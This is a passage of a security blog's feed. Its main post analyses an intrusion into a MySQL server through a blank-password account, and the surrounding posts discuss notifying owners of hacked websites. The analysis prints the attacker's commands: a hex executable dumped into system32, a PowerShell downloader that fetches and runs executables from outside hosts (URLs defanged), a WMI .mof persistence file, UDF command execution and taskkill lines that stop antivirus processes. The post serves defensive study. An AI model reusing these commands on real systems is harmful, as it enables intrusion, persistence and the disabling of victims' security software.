<p>That&rsquo;s what I say - inside my head - every time someone pulls that &ldquo;parental&rdquo; tone on me and asks, <em>&ldquo;And&hellip; who are you?&rdquo;</em></p>
<p>But I don&rsquo;t. I patiently explain who I am and how I know about their problems. They&rsquo;re so keyed up and their mind is moving so fast that I&rsquo;m pretty sure they only hear about half of what I say (and only understand a quarter of that) but, generally speaking, it calms them down. I suppose they probably believe that if I really was a &ldquo;bad guy&rdquo; the parentally-asked <em>&ldquo;And&hellip; who are you?&rdquo;</em> would&rsquo;ve caused me to panic, hang up, and run far, far away.</p>
<p>I give them generic advice. I commiserate. I remind them to keep things up-to-date and change passwords&hellip; and we part ways.</p>
<p>I hang up the phone, bandage up the bullet-holes, and promise myself that next time I&rsquo;ll try letting them ignore a few more emails before I make another call&hellip;</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 18, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/notification" term="notification" label="notification" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Adventures in Databasing]]></title>
            <link href="https://yourflyis0pen.com/article/adventures-in-databasing/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/ubiquiti-device-patch-now/?utm_source=atom_feed" rel="related" type="text/html" title="Ubiquiti Device? Patch Now..." />
                <link href="https://yourflyis0pen.com/article/the-russian-linking-rings/?utm_source=atom_feed" rel="related" type="text/html" title="The Russian Linking Rings" />
                <link href="https://yourflyis0pen.com/article/doh/?utm_source=atom_feed" rel="related" type="text/html" title="Doh!" />
                <link href="https://yourflyis0pen.com/article/those-crazy-belgians/?utm_source=atom_feed" rel="related" type="text/html" title="Those Crazy Belgians" />
            
                <id>https://yourflyis0pen.com/article/adventures-in-databasing/</id>
            
            
            <published>2016-05-17T15:37:34-06:00</published>
            <updated>2016-05-17T15:37:34-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>I am a database bubble-head&hellip;</p>
<p>At least that&rsquo;s what it must seem like to some friendly folks from Jiangsu, Nanjing China who stopped by the MySQL DB server that I, apparently, do a horrible job of running. Obviously these are thoughtful and helpful people - the moment they noticed that I&rsquo;m not doing a very good job of administering the box, they decided to help me out.</p>
<p>One of the things that probably tipped them off to the fact that I don&rsquo;t &ldquo;DB&rdquo; very well was the fact that they were able to log in as the user &lsquo;mysql&rsquo; with a blank password.</p>
<p><em>Note to self: I really need to do something about that one of these days&hellip;</em></p>
<p>Their initial foray into DB administration on my behalf was kind of a &ldquo;fact finding&rdquo; operation:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#cdcd00">show</span> variables <span style="color:#cdcd00">like</span> <span style="color:#cd0000">&#34;%plugin%&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">show</span> variables <span style="color:#cdcd00">like</span> <span style="color:#cd0000">&#39;basedir&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">show</span> variables <span style="color:#cdcd00">like</span> <span style="color:#cd0000">&#34;%plugin%&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">SELECT</span> <span style="color:#39c">@@</span>version_compile_os;
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">show</span> variables <span style="color:#cdcd00">like</span> <span style="color:#cd0000">&#39;%version_compile_machine%&#39;</span>;
</span></span><span style="display:flex;"><span>use mysql;
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">SHOW</span> VARIABLES <span style="color:#cdcd00">LIKE</span> <span style="color:#cd0000">&#39;%basedir%&#39;</span>;</span></span></code></pre></div>
<p>Who can blame them for their curiosity? If they&rsquo;re going to be administering the box for me, they really need to know a little about what they&rsquo;re working with.</p>
<p>Once they&rsquo;d gotten the lay of the land, so to speak, they - understandably - decided that they needed their own toolset on the box. I&rsquo;m obviously such a database n00b that I don&rsquo;t have any of the tools that they&rsquo;ll <em>need</em> to do the job properly, so they &ldquo;manufactured&rdquo; a few of their own.</p>
<p>What I found particularly interesting about this &ldquo;incident&rdquo; is the many and varied ways that my Chinese DBA friends have of making sure that their &ldquo;remote administration&rdquo; tools get run. You can never be too thorough, and these folks take thorough to an extreme&hellip;</p>
<p>It all begins with a little creative SQL:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#cdcd00">SELECT</span> <span style="color:#cd00cd">0</span>x4D5A90000300000004000000FFFF0000B8000000000000004000000000000000
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">00000000000000000000000000000000000000000000000000000000</span>E80000000E1FBA0E0
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">0</span>B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">696</span>E20444F53206D6F64652E0D0D0A24000000000000004F5AC1B40B3BAFE70B3BAFE70B3
</span></span><span style="display:flex;"><span>BAFE7C834F2E7033BAFE76424A5E70A3BAFE78827A1E70A3BAFE76424ABE70F3BAFE73D1D
</span></span><span style="display:flex;"><span>A4E7093BAFE70B3BAEE7CE3BAFE73D1DABE7083BAFE7E324A4E70E3BAFE7CC3DA9E70A3BA
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">0000000000000000000000000000000000000000000000000000000000000000000000000</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">0000000000000000000000000000000000000000000000000000000000000000000000000</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">0000000000000000000000000000000000000000000000000000000000000000000000000</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">0000000000000000000000000000000000000000000000000000000000000000000000000</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">000000000000000000000000</span> <span style="color:#cdcd00">into</span> DUMPFILE <span style="color:#cd0000">&#39;C:/windows/system32/ukGMx.exe&#39;</span>;<span style="color:#cd0000">&#39;)</span></span></span></code></pre></div>
<p>Although I&rsquo;m obviously a pretty crappy DBA, I was able - with lot&rsquo;s of trial and error and searching on this Interweb thing - to throw together a little Perl code to turn all of those pesky hexadecimal numbers (I&rsquo;m told that&rsquo;s what they&rsquo;re called&hellip;) into binary files (whatever those are&hellip;).</p>
<p>As it turns out, I think that my &ldquo;remote DBA&rdquo; may have a little problem with viruses. It appears that many of the tools that they uploaded are infected&hellip;</p>
<p>All together, they created a whole BUNCH of new &ldquo;DBA tools&rdquo; on my machine:</p>
<p>The first file was something they called C:/windows/system32/ukGMx.exe:</p>
<ul>
<li>Filesize: 36,864 bytes</li>
<li>Type: Windows PE executable file with an internal product name of NBTSTAT</li>
<li>SHA256: c5f6aca9935ca5f1023c8886b77c0ca32d8a1bf53f6535bd1b941e04793e49fa</li>
<li>Description: A pretty generic downloader (a quick look shows it&rsquo;s grabbing a file from hxxp://www.game918.me:2545/host.exe and saving it as C:\Windows\shes.exe, launching it, and then grabbing hxxp://huya1219.top/svchost.exe and saving that as C:\Windows\svchost.exe and launching it as well&hellip;)</li>
</ul>
<p>Then, they created a metric crap-tonne of 7,680 byte long, identical files:</p>
<ul>
<li>C:/Program Files/lpk.dll</li>
<li>C:/windows/lpk.dll</li>
<li>lpk.dll</li>
<li>C:/windows/system32/lpk.dll</li>
<li>C:/lpk.dll</li>
<li>D:/lpk.dll</li>
<li>%temp%/lpk.dll</li>
<li>%systemroot%/lpk.dll</li>
<li>../../bin/lpk.dll</li>
<li>../../lpk.dll</li>
<li>../lpk.dll</li>
</ul>
<p>These UPX-packed files blow out to a 12,288 byte file dropper:</p>
<ul>
<li>Filesize: 7680 bytes</li>
<li>Type: Windows PE DLL file, UPX packed</li>
<li>SHA256: e6b8090a4c6e1f301ac041209aba9376e8bbb0f734a2e2244a84e55852f9bb0a</li>
<li>Description: This DLL acts as a dropper, for a 4,960 byte UPX packed PE executable
Dropped file SHA265: 5b9cc264383ef4a80037d7fd85f8f46dde02fbc7b6bf226da7b029a50824bbe5</li>
</ul>
<p>The reason that these things are being sprayed all over hell is because the attackers are attempting to exploit a DLL hijacking vulnerability.</p>
<p>The idea behind DLL hijacking is actually pretty simple. Windows has a search path for DLLs that works much in the same way that the $PATH environment variable works for finding executables. The default search path for DLLs works like this:</p>
<ul>
<li>The directory from which the application is run</li>
<li>The current directory</li>
<li>The system directory</li>
<li>The 16-bit system directory</li>
<li>The Windows directory</li>
<li>The $PATH directories</li>
</ul>
<p>Windows will look in each of those locations, in that order, until it finds the DLL it&rsquo;s looking for. If, as an attacker, you can get a rogue/malicious DLL installed &ldquo;in front&rdquo; of the &ldquo;real&rdquo; DLL in that DLL search path, your DLL will be loaded instead of the real one, and run with the credentials of the application that is loading it.</p>
<p>If the DLL is triggered, the dropped/run file tries to grab and run hxxp://www.game918.me:2545/host.exe (see above!) as well as something new: hxxp://www.82022333.cn:8065/im.exe</p>
<p>Finally - as far as &ldquo;binaries&rdquo; are concerned - they dumped up a file called XZnNds.dll which (oddly) turned out to simply be a &ldquo;benign&rdquo; DLL file (according to most AV vendors) that had been UPX compressed. The reason for this file will become apparent later&hellip;</p>
<p>Two text files were created as well:</p>
<p>c:/windows/temp.ps1:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#00cdcd">$source</span>=<span style="color:#cd0000">&#34;hxxp://www.game918.me:2545/host.exe&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#00cdcd">$destination</span>=<span style="color:#cd0000">&#34;C:\Windows\host.exe&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#00cdcd">$www</span>=<span style="color:#cd00cd">New-Object</span> System.Net.WebClient
</span></span><span style="display:flex;"><span><span style="color:#00cdcd">$www</span>.DownloadFile(<span style="color:#00cdcd">$source</span>, <span style="color:#00cdcd">$destination</span>)
</span></span><span style="display:flex;"><span><span style="color:#00cdcd">$source2</span>=<span style="color:#cd0000">&#34;hxxp://huya1219.top/svchost.exe&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#00cdcd">$destination2</span>=<span style="color:#cd0000">&#34;C:\Windows\svchost.exe&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#00cdcd">$www2</span>=<span style="color:#cd00cd">New-Object</span> System.Net.WebClient
</span></span><span style="display:flex;"><span><span style="color:#00cdcd">$www2</span>.DownloadFile(<span style="color:#00cdcd">$source2</span>, <span style="color:#00cdcd">$destination2</span>)
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">Invoke-Expression</span>(<span style="color:#cd0000">&#34;C:\Windows\host.exe&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">Invoke-Expression</span>(<span style="color:#cd0000">&#34;C:\Windows\svchost.exe&#34;</span>)</span></span></code></pre></div>
<p>c:/windows/system32/wbem/mof/mGeYMC.mof:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#000080">#pragma namespace(&#34;\\\\.\\root\\cimv2&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#000080"></span>class MyClass649
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>        [key] string Name;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>class ActiveScriptEventConsumer : __EventConsumer
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>        [key] string Name;
</span></span><span style="display:flex;"><span>        [not_null] string ScriptingEngine;
</span></span><span style="display:flex;"><span>        string ScriptFileName;
</span></span><span style="display:flex;"><span>        [template] string ScriptText;
</span></span><span style="display:flex;"><span>  uint32 KillTimeout;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>instance of __Win32Provider as <span style="">$</span>P
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    Name  <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;ActiveScriptEventConsumer&#34;</span>;
</span></span><span style="display:flex;"><span>    CLSID <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;{266c72e7-62e8-11d1-ad89-00c04fd8fdff}&#34;</span>;
</span></span><span style="display:flex;"><span>    PerUserInitialization <span style="color:#39c">=</span> TRUE;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>instance of __EventConsumerProviderRegistration
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  Provider <span style="color:#39c">=</span> <span style="">$</span>P;
</span></span><span style="display:flex;"><span>  ConsumerClassNames <span style="color:#39c">=</span> {<span style="color:#cd0000">&#34;ActiveScriptEventConsumer&#34;</span>};
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>Instance of ActiveScriptEventConsumer as <span style="">$</span>cons
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  Name <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;ASEC&#34;</span>;
</span></span><span style="display:flex;"><span>  ScriptingEngine <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;JScript&#34;</span>;
</span></span><span style="display:flex;"><span>  ScriptText <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">try {var s = new ActiveXObject(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">Wscript.Shell</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">s.Run(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">ukGMx.exe</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);} catch (err) {};</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">sv = GetObject(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">winmgmts:root</span><span style="color:#cd0000">\\\\</span><span style="color:#cd0000">cimv2</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);try {sv.Delete(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">MyClass649</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);} catch (err) {};try {sv.Delete(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">__EventFilter.Name=&#39;instfilt&#39;</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);} catch (err) {};try {sv.Delete(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">ActiveScriptEventConsumer.Name=&#39;ASEC&#39;</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);} catch(err) {};&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>Instance of ActiveScriptEventConsumer as <span style="">$</span>cons2
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  Name <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;qndASEC&#34;</span>;
</span></span><span style="display:flex;"><span>  ScriptingEngine <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;JScript&#34;</span>;
</span></span><span style="display:flex;"><span>  ScriptText <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">var objfs = new ActiveXObject(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">Scripting.FileSystemObject</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">try {var f1 = objfs.GetFile(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">wbem</span><span style="color:#cd0000">\\\\</span><span style="color:#cd0000">mof</span><span style="color:#cd0000">\\\\</span><span style="color:#cd0000">good</span><span style="color:#cd0000">\\\\</span><span style="color:#cd0000">Mxmto.mof</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">f1.Delete(true);} catch(err) {};</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">try {</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">var f2 = objfs.GetFile(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">ukGMx.exe</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">f2.Delete(true);</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">var s = GetObject(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">winmgmts:root</span><span style="color:#cd0000">\\\\</span><span style="color:#cd0000">cimv2</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);s.Delete(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">__EventFilter.Name=&#39;qndfilt&#39;</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);s.Delete(</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">ActiveScriptEventConsumer.Name=&#39;qndASEC&#39;</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">);</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">} catch(err) {};&#34;</span>;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>instance of __EventFilter as <span style="">$</span>Filt
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  Name <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;instfilt&#34;</span>;
</span></span><span style="display:flex;"><span>  Query <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = </span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">MyClass649</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">&#34;</span>;
</span></span><span style="display:flex;"><span>  QueryLanguage <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;WQL&#34;</span>;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>instance of __EventFilter as <span style="">$</span>Filt2
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  Name <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;qndfilt&#34;</span>;
</span></span><span style="display:flex;"><span>  Query <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA </span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">Win32_Process</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000"> AND TargetInstance.Name = </span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">ukGMx.exe</span><span style="color:#cd0000">\&#34;</span><span style="color:#cd0000">&#34;</span>;
</span></span><span style="display:flex;"><span>  QueryLanguage <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;WQL&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>instance of __FilterToConsumerBinding as <span style="">$</span>bind
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  Consumer <span style="color:#39c">=</span> <span style="">$</span>cons;
</span></span><span style="display:flex;"><span>  Filter <span style="color:#39c">=</span> <span style="">$</span>Filt;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>instance of __FilterToConsumerBinding as <span style="">$</span>bind2
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  Consumer <span style="color:#39c">=</span> <span style="">$</span>cons2;
</span></span><span style="display:flex;"><span>  Filter <span style="color:#39c">=</span> <span style="">$</span>Filt2;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>instance of MyClass649 as <span style="">$</span>MyClass
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  Name <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;ClassConsumer&#34;</span>;
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
<p>If you&rsquo;re unfamiliar with them, .mof files are actually a pretty cool attack vector, if you can land them in the proper directory (which requires admin creds). Placing a .mof file in the \Windows\system32\wbem\mof directory essentially installs a special &ldquo;event filter&rdquo; that will trigger code when a logged system event of a specific type occurs. In this case, they&rsquo;re actually creating a WQL query that triggers on an &ldquo;event&rdquo; that is, essentially, the instantiation of their own created class: MyClass649 (it also triggers if the malware they launch ever stops running&hellip;). The class itself actually does nothing, but its creation is used to trigger the filter which triggers the consumer and runs the code. Note: This type of attack was used in Stuxnet&hellip; For more information see <a href="http://poppopret.blogspot.com/2011/09/playing-with-mof-files-on-windows-for.html">here</a>.</p>
<p>Finally, they topped everything off with a few more SQL commands:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#cdcd00">DROP</span> <span style="color:#cdcd00">FUNCTION</span> <span style="color:#cdcd00">IF</span> <span style="color:#cdcd00">EXISTS</span> sys_exec;
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">CREATE</span> <span style="color:#cdcd00">FUNCTION</span> sys_exec <span style="color:#cdcd00">RETURNS</span> string SONAME <span style="color:#cd0000">&#39;XZnNds.dll&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">CREATE</span> <span style="color:#cdcd00">FUNCTION</span> sys_eval <span style="color:#cdcd00">RETURNS</span> string SONAME <span style="color:#cd0000">&#39;XZnNds.dll&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">select</span> sys_eval(<span style="color:#cd0000">&#39;taskkill /f /im 360safe.exe&amp;taskkill /f /im 360sd.exe&amp;taskkill /f /im 360rp.exe&amp;taskkill /f /im 360rps.exe&amp;taskkill /f /im 360tray.exe&amp;taskkill /f /im ZhuDongFangYu.exe&amp;exit&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">select</span> sys_eval(<span style="color:#cd0000">&#39;taskkill /f /im SafeDogGuardCenter.exe&amp;taskkill /f /im SafeDogSiteIIS.exe&amp;taskkill /f /im SafeDogUpdateCenter.exe&amp;taskkill /f /im SafeDogServerUI.exe&amp;taskkill /f /im kxescore.exe&amp;taskkill /f /im kxetray.exe&amp;exit&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">select</span> sys_eval(<span style="color:#cd0000">&#39;taskkill /f /im QQPCTray.exe&amp;taskkill /f /im QQPCRTP.exe&amp;taskkill /f /im QQPCMgr.exe&amp;taskkill /f /im kavsvc.exe&amp;taskkill /f /im alg.exe&amp;taskkill /f /im AVP.exe&amp;exit&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">select</span> sys_eval(<span style="color:#cd0000">&#39;taskkill /f /im egui.exe&amp;taskkill /f /im ekrn.exe&amp;taskkill /f /im ccenter.exe&amp;taskkill /f /im rfwsrv.exe&amp;taskkill /f /im Ravmond.exe&amp;taskkill /f /im rsnetsvr.exe&amp;taskkill /f /im egui.exe&amp;taskkill /f /im MsMpEng.exe&amp;taskkill /f /im msseces.exe&amp;exit&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">select</span> sys_exec(<span style="color:#cd0000">&#39;PowerShell.exe -ExecutionPolicy Unrestricted -NoProfile -windowstyle hidden -File c:\\windows\\temp.ps1&#39;</span>);</span></span></code></pre></div>
<p>Since I&rsquo;m obviously not a very good DBA, I&rsquo;ll leave it to enterprising, DB-savvy readers to figure out exactly what is going on here. Suffice to say, some anti-malware programs are biting the dust and&hellip; remember that &ldquo;benign&rdquo; DLL? It is being leveraged to provide some user defined functionality&hellip;</p>
<p>So, it looks like my days as a DBA are numbered&hellip; because these folks really know how to take control of a machine. I&rsquo;m gonna kick back, put my feet up, and let the kind folks from China take care of administering MySQL from now on&hellip;</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 17, 2016\</p>
<p>P.S.: In the above, I&rsquo;ve &ldquo;defanged&rdquo; all URIs. If I didn&rsquo;t <a href="https://gohugo.io/">Hugo</a> would&rsquo;ve turned them into clickable links and God knows one of you idiots would click on them and then blame me for whatever bad stuff happened.</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/db" term="db" label="db" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[If I Cant See It, It Isn't A Problem...]]></title>
            <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/ubiquiti-device-patch-now/?utm_source=atom_feed" rel="related" type="text/html" title="Ubiquiti Device? Patch Now..." />
                <link href="https://yourflyis0pen.com/article/doh/?utm_source=atom_feed" rel="related" type="text/html" title="Doh!" />
                <link href="https://yourflyis0pen.com/article/partly-cloudy/?utm_source=atom_feed" rel="related" type="text/html" title="Partly Cloudy With a Chance of a Colon Clense" />
                <link href="https://yourflyis0pen.com/article/alright/?utm_source=atom_feed" rel="related" type="text/html" title="The Kids Are OK OK OK OK OK OK OK" />
                <link href="https://yourflyis0pen.com/article/mirror/?utm_source=atom_feed" rel="related" type="text/html" title="Mirror, mirror on the &#39;Net..." />
            
                <id>https://yourflyis0pen.com/article/if-i-cant-see-it/</id>
            
            
            <published>2016-05-16T14:50:56-06:00</published>
            <updated>2016-05-16T14:50:56-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>Here&rsquo;s a (reconstructed from memory) transcript of a telphone call that I made earlier today to the owner of a hacked website. Please note: This is a business website. I&rsquo;ve deliberately left out some portions of the conversation to protect&hellip; well, I really want to say &ldquo;the innocent&rdquo; here, but I&rsquo;ll just go with &ldquo;the naïve.&rdquo; The overall gist of the conversation remains:</p>
<blockquote>
<p><em>TL: Hi there&hellip; The receptionist put me through to you. There&rsquo;s a problem with your company&rsquo;s website&hellip; are you the person I should be speaking to about that?<br>
Mr. X:  I&rsquo;m one of the partners in the firm. You can speak with me.<br>
TL: Ok, good. Well, I&rsquo;ve sent your company several emails trying to get someone to do something about your website. It&rsquo;s been hacked.<br>
Mr. X:  Yes. I&rsquo;ve seen your emails.<br>
TL: You have? Oh, good&hellip; and&hellip;?<br>
Mr. X:  I&rsquo;ve been unable to find any evidence that the site has been &ldquo;hacked.&rdquo;</em></p>
</blockquote>
<p>Note: I could, literally, hear the quotes around &ldquo;hacked&rdquo; when he said it&hellip;</p>
<blockquote>
<p><em>TL: Oh. Well&hellip; uh&hellip; did you do the Google search that I sent in the email? You&rsquo;re not, actually, going to see anything just by looking at your site. The people who compromised it added new pages, but didn&rsquo;t alter anything on your existing pages.<br>
Mr. X:  Well, if they didn&rsquo;t change anything and I can&rsquo;t see it on the site, it isn&rsquo;t really a problem, is it?<br>
TL: Ok. I&rsquo;m not really sure how to answer that. You seem like you&rsquo;re somewhat &ldquo;put out&rdquo; at me. Is there a problem?<br>
Mr. X:  I&rsquo;m very busy, and you told me that my site is hacked. I spent time looking through the whole site, and I didn&rsquo;t see anything wrong. Now you&rsquo;re telling me that our site wasn&rsquo;t hacked&hellip;<br>
TL: Whoa&hellip; I didn&rsquo;t say that&hellip;<br>
Mr. X:  You said that they didn&rsquo;t change any of our content.<br>
TL: Yes, but that doesn&rsquo;t mean your site wasn&rsquo;t hacked&hellip;<br>
Mr. X:  It hasn&rsquo;t affected our site. I can&rsquo;t see it. Please stop bothering us about this. Goodbye.</em></p>
</blockquote>
<p>And there you have it. <em>This is why we can&rsquo;t have nice things.</em></p>
<p>The problem is, despite how much I want to be annoyed at &ldquo;Mr. X,&rdquo; I just can&rsquo;t&hellip; The problem isn&rsquo;t &ldquo;Mr. X&rdquo; - in fact he&rsquo;s right. He really is too busy to be screwing around trying to fix some issue on his website that he can&rsquo;t even see. &ldquo;Mr. X&rdquo; isn&rsquo;t in the business of running his &ldquo;business website&rdquo; - he doesn&rsquo;t know enough, and even more&hellip; he doesn&rsquo;t have the time or the inclination to learn. He&rsquo;s running his business and that&rsquo;s his full-time job.</p>
<p>The real problem here is that someone, somewhere, convinced &ldquo;Mr. X&rdquo; that his business needed a website (I really question if it does&hellip;). They also convinced him that it would be EASY for him (or his kid, or his nephew, or his kid&rsquo;s nephew) to set it up.</p>
